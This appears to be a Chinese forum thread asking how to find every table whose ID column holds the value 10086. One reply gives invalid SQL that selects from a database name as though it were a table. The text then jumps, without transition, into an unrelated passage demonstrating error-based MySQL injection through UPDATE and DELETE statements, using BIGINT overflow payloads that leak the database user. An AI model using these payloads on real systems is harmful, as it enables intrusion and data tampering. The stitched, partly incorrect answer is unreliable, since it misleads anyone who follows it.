在SQL数据库中有上百张表,大部分表中都含有字段名为ID这一列,类型为bigint,如何在这些ID中查询其值等于10086,返回所在的所有表名。
试试这样
SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME = 'ID'
AND TABLE_NAME IN (
SELECT TABLE_NAME
FROM your_database_name
WHERE ID = 10086
);
考虑到 标准的 tsql 指令中, from 后边必须跟名字,而不能跟变量
所以,要么你用游标,动态生成指令,然后组合结果
要么,建立一个自定义函数,用来判定某个表中某列数据是否存在某值
至于找到所有包含指定列名的表,则很简单
select o.name
from sysobjects o
left join syscolumns c on c.id=o.id
where o.xtype='u' and c.name='id'
利用更新语句,我们照样可以进行类似的注入,具体如下所示:
> mysql> update users set password='Peter' or !(select*from(select
> user())x)-~0 or '' where id=4; ERROR 1690 (22003): BIGINT UNSIGNED
> value is out of range in '((not((select 'root@localhost' from dual)))
> - ~(0))'
同样的,我们也可以利用删除语句进行注入,具体如下所示:
mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'